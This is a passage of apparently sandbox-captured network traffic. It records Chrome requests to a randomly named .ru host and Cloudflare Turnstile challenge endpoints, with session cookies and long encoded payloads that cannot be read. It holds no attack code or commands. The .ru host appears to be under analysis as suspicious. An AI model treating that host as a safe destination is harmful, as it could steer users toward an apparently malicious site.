aFx4W4VhbmhzX21OY3d1WHhsiGuVdG54g299XXOHhWiIfJh7pYKsiJN/jWyDl5V4mIyoi7WVjpijj56Qk6eliKicuJvFpMCos5+un6O3tZi4rMir1ba2uMOvvq6zx8WoyMDcqL/f68rPweLC9/Xq4dXO3ObT7tj42QTc0dy/5tb32Pzs/Qjq8ATM7eEDB/bmCOgN/A4U9P0dH/vv3eb78eH77CAI/iMPIhM0FiryISz0DPwwGA8vHzIjRCY6AzE
2025-01-10 18:04:52 UTC	1369	IN	Data Raw: 6d 68 7a 58 32 31 4d 59 33 64 31 57 48 68 73 69 47 74 2b 6e 6e 71 68 6e 34 31 79 5a 61 53 51 59 6e 47 62 5a 49 56 35 6e 4b 36 4f 66 70 2b 41 70 5a 57 79 67 5a 69 79 6c 70 69 56 74 59 65 70 66 35 4b 51 74 63 52 2b 6c 4d 69 6f 70 5a 7a 4d 69 37 2b 58 6d 73 75 75 77 62 4c 54 74 63 6d 53 77 4d 75 51 6c 70 7a 50 74 36 37 57 76 74 48 43 34 38 58 5a 6f 74 44 62 33 36 61 73 33 38 65 2b 34 73 37 68 30 76 50 56 36 62 4c 67 36 2f 44 62 76 4f 2f 58 7a 75 37 65 38 65 49 45 35 66 6e 43 38 50 76 44 41 73 77 41 35 39 37 36 37 67 4c 79 46 50 55 4b 30 67 45 4d 31 76 76 63 45 50 66 75 41 66 34 53 41 79 51 47 47 75 49 52 48 41 4d 69 37 43 41 49 2f 67 30 50 49 68 4d 30 46 69 72 79 47 69 73 49 44 78 41 47 39 52 55 59 44 44 38 58 4e 52 30 6f 46 43 49 42 47 43 77 71 44 53 30 68 Data Ascii: mhzX21MY3d1WHhsiGt+nnqhn41yZaSQYnGbZIV5nK6Ofp+ApZWygZiylpiVtYepf5KQtcR+lMiopZzMi7+XmsuuwbLTtcmSwMuQlpzPt67WvtHC48XZotDb36as38e+4s7h0vPV6bLg6/DbvO/Xzu7e8eIE5fnC8PvDAswA59767gLyFPUK0gEM1vvcEPfuAf4SAyQGGuIRHAMi7CAI/g0PIhM0FiryGisIDxAG9RUYDD8XNR0oFCIBGCwqDS0h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49735	188.114.96.3	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:52 UTC	1320	OUT	GET /favicon.ico HTTP/1.1 Host: pllu.gnoqwwhpwe.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pllu.gnoqwwhpwe.ru/3aeK/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjgzSVpEQUpSSUt5NkhGc25sZ3JlbXc9PSIsInZhbHVlIjoiRGZSa1N5TCtQdWxNOVNheWI3M2FrenlnNjh1VWU3OWFxRjhhbHlSajAvUTM5eUgyZStucWwwQ0RRTnJiMWNIZFBoYW5QSFNIYjgzQUhhcXUyRkpRaHFmR0lnd1BoMUZSNERPNC9xUGlDVGowbnlScW5UVkwwQTZOdlUxZ2ZXTXEiLCJtYWMiOiJlN2FmM2NjMzI5MjUyMGE1ODZiNWJjZjczODY1MzU1NGZkMzhiNmNmMTRiNWRjMTVhMGU4ZmJiZmQ0YzFhMjFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpZNDhnems4MVVwWktPQTlna2M2U0E9PSIsInZhbHVlIjoiZTFaTk9xRWxDdHVpaTVjV3gzUi81cEhYMWFQQ3BXVU1FTGU5OXJFWk9ISTZOVUszZys4ZlRwS2ZwZkJVUk1oNE1nb0tIcjlOazJPTWJjd0xKRndKSjdjZEd1Ri8ra3kwbGdPS3F5MUhsUXFVblRmdXhCYXQ2YjJpTVY5bGtNbXAiLCJtYWMiOiIxOGI4YmViNDExNDBiYTc3ZjIyNTE0MTBmNDBjNWI1MzE4MDk4Y2VkODBlZTcyZGEzMGQyZmU3YWMzOGE1Mjg2IiwidGFnIjoiIn0%3D
2025-01-10 18:04:52 UTC	1070	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Jan 2025 18:04:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Age: 7129 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p%2BD3UM26GnCwsXpvNUXsZqrpi%2FTDtCzdBDS98suVNU5n0eGAQ4qInd5B8uQa%2BMJvIL6ShRFoyS1%2FDL%2Bc1NFr6LYcbfC5owpVOGGD2G7a1llUhgJdQATKRcNYjCMqfw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4950&min_rtt=4896&rtt_var=1474&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2083&delivery_rate=550125&cwnd=251&unsent_bytes=0&cid=d326ce7bc7041727&ts=53&x=0" CF-Cache-Status: HIT Server: cloudflare CF-RAY: 8ffe978adc8a430a-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1555&min_rtt=1547&rtt_var=597&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1898&delivery_rate=1806930&cwnd=225&unsent_bytes=0&cid=00013c42e8a8e1bc&ts=151&x=0"
2025-01-10 18:04:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49736	35.190.80.1	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:52 UTC	541	OUT	OPTIONS /report/v4?s=p%2BD3UM26GnCwsXpvNUXsZqrpi%2FTDtCzdBDS98suVNU5n0eGAQ4qInd5B8uQa%2BMJvIL6ShRFoyS1%2FDL%2Bc1NFr6LYcbfC5owpVOGGD2G7a1llUhgJdQATKRcNYjCMqfw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://pllu.gnoqwwhpwe.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:52 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Fri, 10 Jan 2025 18:04:52 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49737	104.18.94.41	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:52 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1120917298:1736529426:TPD1bQ9AIEZMjnE_a_w72TH4JrPyWqpr_ya02KG-AqU/8ffe977e4cfef78d/h0yoRtoHt5sb3AAlO3AHxLxC7AKofDDqL5Ai9T4BfYY-1736532290-1.1.1.1-E4eDpNQMeb6Q5SyYa3Z6Ie8h7weFT7Fmw0VQ17C2HrXK4txa2isGp_DWXg67b7hp HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:52 UTC	375	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Jan 2025 18:04:52 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: rb773VmA2Fp4kkmdvoJMVQ==$piaS9sk6YeIhsAogM78M8Q== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ffe978ecb638c84-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 18:04:52 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49738	35.190.80.1	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:53 UTC	480	OUT	POST /report/v4?s=p%2BD3UM26GnCwsXpvNUXsZqrpi%2FTDtCzdBDS98suVNU5n0eGAQ4qInd5B8uQa%2BMJvIL6ShRFoyS1%2FDL%2Bc1NFr6LYcbfC5owpVOGGD2G7a1llUhgJdQATKRcNYjCMqfw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 431 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:53 UTC	431	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 31 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 30 36 39 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 70 6c 6c 75 2e 67 6e 6f 71 77 77 68 70 77 65 2e 72 75 2f 33 61 65 4b 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 36 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 Data Ascii: [{"age":1,"body":{"elapsed_time":1069,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://pllu.gnoqwwhpwe.ru/3aeK/","sampling_fraction":1.0,"server_ip":"188.114.96.3","status_code":404,"type":"http.error"},"type":"network-error"
2025-01-10 18:04:53 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 10 Jan 2025 18:04:53 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49739	104.18.94.41	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:53 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8ffe977e4cfef78d/1736532291986/Ej-fINSRsm2htnA HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ojacm/0x4AAAAAAA0rfpQOBx227C7S/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:54 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:04:54 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ffe97958bc47c9a-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 18:04:54 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0e 00 00 00 19 08 02 00 00 00 8e f9 88 a5 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49740	104.18.94.41	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:54 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8ffe977e4cfef78d/1736532291986/Ej-fINSRsm2htnA HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:54 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:04:54 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ffe97995fe243f9-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 18:04:54 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0e 00 00 00 19 08 02 00 00 00 8e f9 88 a5 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49741	104.18.94.41	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:54 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8ffe977e4cfef78d/1736532291987/2b8f3c0d63c30527a2f21b4e3f221afc289a4658e27b6d2ec697f70f760bb6dd/-FuElFTzHV5fb2e HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ojacm/0x4AAAAAAA0rfpQOBx227C7S/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:54 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Fri, 10 Jan 2025 18:04:54 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-10 18:04:54 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 4b 34 38 38 44 57 50 44 42 53 65 69 38 68 74 4f 50 79 49 61 5f 43 69 61 52 6c 6a 69 65 32 30 75 78 70 66 33 44 33 59 4c 74 74 30 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gK488DWPDBSei8htOPyIa_CiaRljie20uxpf3D3YLtt0AGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-10 18:04:54 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49742	104.18.94.41	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:55 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1120917298:1736529426:TPD1bQ9AIEZMjnE_a_w72TH4JrPyWqpr_ya02KG-AqU/8ffe977e4cfef78d/h0yoRtoHt5sb3AAlO3AHxLxC7AKofDDqL5Ai9T4BfYY-1736532290-1.1.1.1-E4eDpNQMeb6Q5SyYa3Z6Ie8h7weFT7Fmw0VQ17C2HrXK4txa2isGp_DWXg67b7hp HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32144 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: h0yoRtoHt5sb3AAlO3AHxLxC7AKofDDqL5Ai9T4BfYY-1736532290-1.1.1.1-E4eDpNQMeb6Q5SyYa3Z6Ie8h7weFT7Fmw0VQ17C2HrXK4txa2isGp_DWXg67b7hp sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ojacm/0x4AAAAAAA0rfpQOBx227C7S/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:55 UTC	16384	OUT	Data Raw: 76 5f 38 66 66 65 39 37 37 65 34 63 66 65 66 37 38 64 3d 62 6b 52 44 67 25 32 62 2d 47 35 74 6b 59 6b 59 54 6b 2d 50 2d 74 75 42 6e 50 59 47 2d 30 59 6d 44 6c 6b 59 51 59 62 44 39 49 50 2b 6c 59 65 51 4a 42 2d 73 31 6e 2b 59 76 35 42 73 43 47 44 59 54 52 59 41 44 56 51 59 6b 44 2b 47 59 69 51 42 43 2d 6f 59 65 70 33 6a 52 42 44 2d 47 59 56 4a 4c 43 4e 39 4d 47 42 6e 74 59 54 64 52 77 42 43 59 71 44 59 74 32 59 41 70 2d 41 59 56 52 2d 4e 65 4e 59 6e 74 32 59 6e 52 2d 69 59 56 46 30 54 54 50 56 74 35 59 66 54 42 75 4a 4a 48 59 56 62 4a 59 59 53 39 65 24 78 48 4c 69 50 59 34 6d 53 38 4c 6f 67 50 30 52 4e 4e 65 54 77 70 30 75 75 70 59 66 62 68 42 69 41 6d 2d 50 75 6b 59 50 62 52 24 42 68 47 61 69 54 70 4c 6d 65 38 75 48 73 65 44 50 54 46 38 53 31 6a 30 53 76 Data Ascii: v_8ffe977e4cfef78d=bkRDg%2b-G5tkYkYTk-P-tuBnPYG-0YmDlkYQYbD9IP+lYeQJB-s1n+Yv5BsCGDYTRYADVQYkD+GYiQBC-oYep3jRBD-GYVJLCN9MGBntYTdRwBCYqDYt2YAp-AYVR-NeNYnt2YnR-iYVF0TTPVt5YfTBuJJHYVbJYYS9e$xHLiPY4mS8LogP0RNNeTwp0uupYfbhBiAm-PukYPbR$BhGaiTpLme8uHseDPTF8S1j0Sv
2025-01-10 18:04:55 UTC	15760	OUT	Data Raw: 38 42 59 37 44 4c 59 52 44 2d 42 6e 38 59 51 59 56 6d 71 43 2b 42 39 75 2b 57 5a 63 59 2d 59 66 48 52 4d 59 39 43 56 35 2d 6c 59 76 44 2d 71 44 33 59 6d 42 2d 31 59 71 50 39 42 56 75 2d 48 43 50 59 66 54 59 78 59 42 43 66 74 2d 4e 43 46 43 56 51 59 58 59 65 59 6e 47 59 42 59 61 59 2d 77 59 71 44 6e 54 39 74 7a 42 44 75 59 2b 65 2d 52 59 6d 6b 56 77 59 74 59 73 66 2d 6f 50 4d 6b 70 37 24 52 2b 74 59 69 44 66 65 59 35 59 6d 43 59 50 2d 66 59 4b 44 41 59 59 6d 59 31 59 66 31 41 50 4b 50 43 39 58 2d 75 59 41 57 54 77 5a 38 59 44 42 65 65 5a 71 59 46 43 59 43 2d 4d 31 6e 78 56 4b 5a 6d 59 4a 2b 4a 57 43 74 65 42 61 43 50 47 61 54 6f 2b 4a 41 78 24 32 2b 58 4f 57 34 64 32 61 58 36 30 7a 4a 48 41 58 33 32 68 68 32 46 31 58 64 42 41 32 65 61 33 55 78 52 44 50 73 Data Ascii: 8BY7DLYRD-Bn8YQYVmqC+B9u+WZcY-YfHRMY9CV5-lYvD-qD3YmB-1YqP9BVu-HCPYfTYxYBCft-NCFCVQYXYeYnGYBYaY-wYqDnT9tzBDuY+e-RYmkVwYtYsf-oPMkp7$R+tYiDfeY5YmCYP-fYKDAYYmY1Yf1APKPC9X-uYAWTwZ8YDBeeZqYFCYC-M1nxVKZmYJ+JWCteBaCPGaTo+JAx$2+XOW4d2aX60zJHAX32hh2F1XdBA2ea3UxRDPs
2025-01-10 18:04:55 UTC	322	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:04:55 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26304 Connection: close cf-chl-gen: /LTNdol9Bgbp4op2/dITrMhJi8pLkIgW+g/D/6tXBp6dcBqZKofIL2JC0YsmHmVt$eaKzzGcjO1YQ0Kdxbmib3Q== Server: cloudflare CF-RAY: 8ffe979ecdb58ce6-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 18:04:55 UTC	1047	IN	Data Raw: 62 47 56 75 53 59 42 39 61 47 4f 49 56 57 68 74 6b 70 70 30 57 6e 79 67 62 58 46 73 6f 6c 78 31 63 4b 61 66 59 36 75 71 6c 36 35 75 6b 6d 53 46 6f 72 61 53 67 58 4b 6c 6b 59 75 37 66 48 75 38 76 35 32 59 6a 72 57 6c 72 71 47 39 6d 61 53 66 75 34 6d 49 7a 4d 2b 64 70 34 7a 45 70 38 62 4d 7a 36 36 55 32 4e 75 55 73 35 6e 53 6e 4d 71 34 32 4c 75 63 77 4d 43 6a 30 71 6e 64 76 38 7a 4b 71 74 32 6f 79 38 79 76 31 4f 76 74 74 71 7a 50 2b 62 32 30 2f 4c 65 34 32 4d 7a 36 2b 77 66 79 42 75 6e 36 31 2f 33 64 39 76 6b 47 2f 63 6a 74 37 4d 2f 2b 30 67 76 56 37 4f 66 56 2b 77 76 6f 46 52 6b 66 41 50 37 38 49 78 4d 63 2b 79 6a 34 35 53 30 4c 36 65 6a 76 4a 69 55 46 49 76 51 72 39 44 63 53 4f 76 67 70 2b 44 66 39 43 68 55 62 49 43 49 67 42 52 59 72 52 69 6b 75 44 6a 38 Data Ascii: bGVuSYB9aGOIVWhtkpp0WnygbXFsolx1cKafY6uql65ukmSForaSgXKlkYu7fHu8v52YjrWlrqG9maSfu4mIzM+dp4zEp8bMz66U2NuUs5nSnMq42LucwMCj0qndv8zKqt2oy8yv1OvttqzP+b20/Le42Mz6+wfyBun61/3d9vkG/cjt7M/+0gvV7OfV+wvoFRkfAP78IxMc+yj45S0L6ejvJiUFIvQr9DcSOvgp+Df9ChUbICIgBRYrRikuDj8
2025-01-10 18:04:55 UTC	1369	IN	Data Raw: 69 58 48 4e 79 63 6f 42 70 72 4b 5a 6f 6f 5a 70 70 70 4b 75 67 6b 61 2b 68 6f 71 4f 6f 65 48 57 63 76 62 65 4b 6a 63 4b 37 6e 73 50 47 76 36 4b 33 79 73 4f 70 6e 36 69 66 71 63 6e 51 79 34 7a 4b 31 74 4f 52 72 74 4f 51 7a 70 4f 5a 72 39 37 4c 79 74 50 43 30 63 37 5a 6d 63 65 32 34 61 72 65 32 4f 76 6c 73 4e 48 64 79 62 37 4e 37 65 58 7a 2b 4d 2f 5a 75 38 79 31 75 41 43 35 75 72 7a 54 41 2f 4c 34 32 67 54 71 79 2b 41 42 34 41 33 65 44 2f 6f 46 36 73 73 42 31 42 72 5a 37 76 63 50 2f 4f 2f 34 46 50 6a 33 48 78 30 43 35 68 4d 64 42 4f 58 37 46 66 30 77 37 67 6b 6f 2f 67 48 76 4a 52 4d 4f 46 53 51 45 43 69 30 53 44 6a 4d 4b 4f 66 34 51 4a 69 55 2b 45 6a 6b 38 54 43 59 33 49 43 59 69 47 53 67 38 45 79 34 79 4b 45 70 4a 4e 45 6c 46 46 68 73 37 4f 78 38 39 59 6a Data Ascii: iXHNycoBprKZooZpppKugka+hoqOoeHWcvbeKjcK7nsPGv6K3ysOpn6ifqcnQy4zK1tORrtOQzpOZr97LytPC0c7Zmce24are2OvlsNHdyb7N7eXz+M/Zu8y1uAC5urzTA/L42gTqy+AB4A3eD/oF6ssB1BrZ7vcP/O/4FPj3Hx0C5hMdBOX7Ff0w7gko/gHvJRMOFSQECi0SDjMKOf4QJiU+Ejk8TCY3ICYiGSg8Ey4yKEpJNElFFhs7Ox89Yj
2025-01-10 18:04:55 UTC	1369	IN	Data Raw: 68 32 53 4f 69 61 70 6f 6a 4a 71 76 6e 34 4f 67 64 4a 43 76 73 59 39 7a 73 58 79 77 77 4c 4b 43 74 33 31 37 6d 35 2b 43 6f 35 71 36 68 34 61 69 77 37 69 35 71 63 43 70 30 71 57 76 6b 72 65 6b 75 64 75 55 75 72 48 51 6e 74 76 4f 34 4c 6d 65 33 65 43 35 77 4e 6e 58 32 73 2f 6d 78 4e 4b 77 34 2f 47 30 79 37 2b 32 36 4d 62 62 37 72 6e 62 38 37 6a 65 39 2f 62 42 76 66 66 56 33 77 6a 56 78 2f 6e 70 39 38 66 38 43 50 45 4e 38 75 6e 7a 30 77 55 4c 45 4e 6e 77 43 78 50 66 2b 52 38 41 33 2b 30 53 49 67 67 70 41 53 76 6e 4b 51 33 74 36 77 63 66 41 75 38 79 45 69 44 76 4a 52 59 61 4e 52 73 53 48 66 30 4a 46 67 34 41 4d 78 33 2b 46 67 6b 70 50 79 6f 66 47 67 70 4b 45 55 41 6e 50 43 38 6c 4d 31 67 32 4c 55 31 53 4b 78 35 5a 48 55 41 55 47 69 4e 42 56 56 41 33 61 45 4a Data Ascii: h2SOiapojJqvn4OgdJCvsY9zsXywwLKCt317m5+Co5q6h4aiw7i5qcCp0qWvkrekuduUurHQntvO4Lme3eC5wNnX2s/mxNKw4/G0y7+26Mbb7rnb87je9/bBvffV3wjVx/np98f8CPEN8unz0wULENnwCxPf+R8A3+0SIggpASvnKQ3t6wcfAu8yEiDvJRYaNRsSHf0JFg4AMx3+FgkpPyofGgpKEUAnPC8lM1g2LU1SKx5ZHUAUGiNBVVA3aEJ
2025-01-10 18:04:55 UTC	1369	IN	Data Raw: 71 75 4b 64 49 75 69 71 35 47 56 6d 49 74 34 64 33 64 37 6e 33 6c 37 70 4a 74 39 66 36 68 2b 67 59 4f 73 79 59 57 48 74 36 4f 2f 6e 73 6e 4d 30 4b 6d 30 70 74 53 51 71 4b 53 31 6d 37 4b 67 32 4b 33 4f 78 4d 4f 36 31 71 4f 6d 31 64 76 59 6f 38 58 48 71 38 50 64 35 4d 62 4c 77 75 66 49 35 64 4c 77 33 50 30 41 79 51 44 58 33 38 38 42 7a 63 2f 69 32 39 6a 49 2f 50 7a 6a 42 75 50 74 45 39 76 7a 37 4d 37 70 42 74 63 4d 37 41 34 56 45 67 76 72 46 41 73 53 44 39 37 62 2f 52 4d 64 34 50 4d 64 2b 2f 62 36 47 52 41 75 49 75 73 49 49 76 51 32 4f 6a 67 4e 44 2f 76 32 4d 67 6f 4d 50 6a 52 46 46 30 41 63 4a 78 39 46 48 78 73 6a 53 53 59 66 4a 30 30 70 49 79 74 52 4e 31 4d 74 54 53 31 5a 4b 31 74 48 55 54 63 59 54 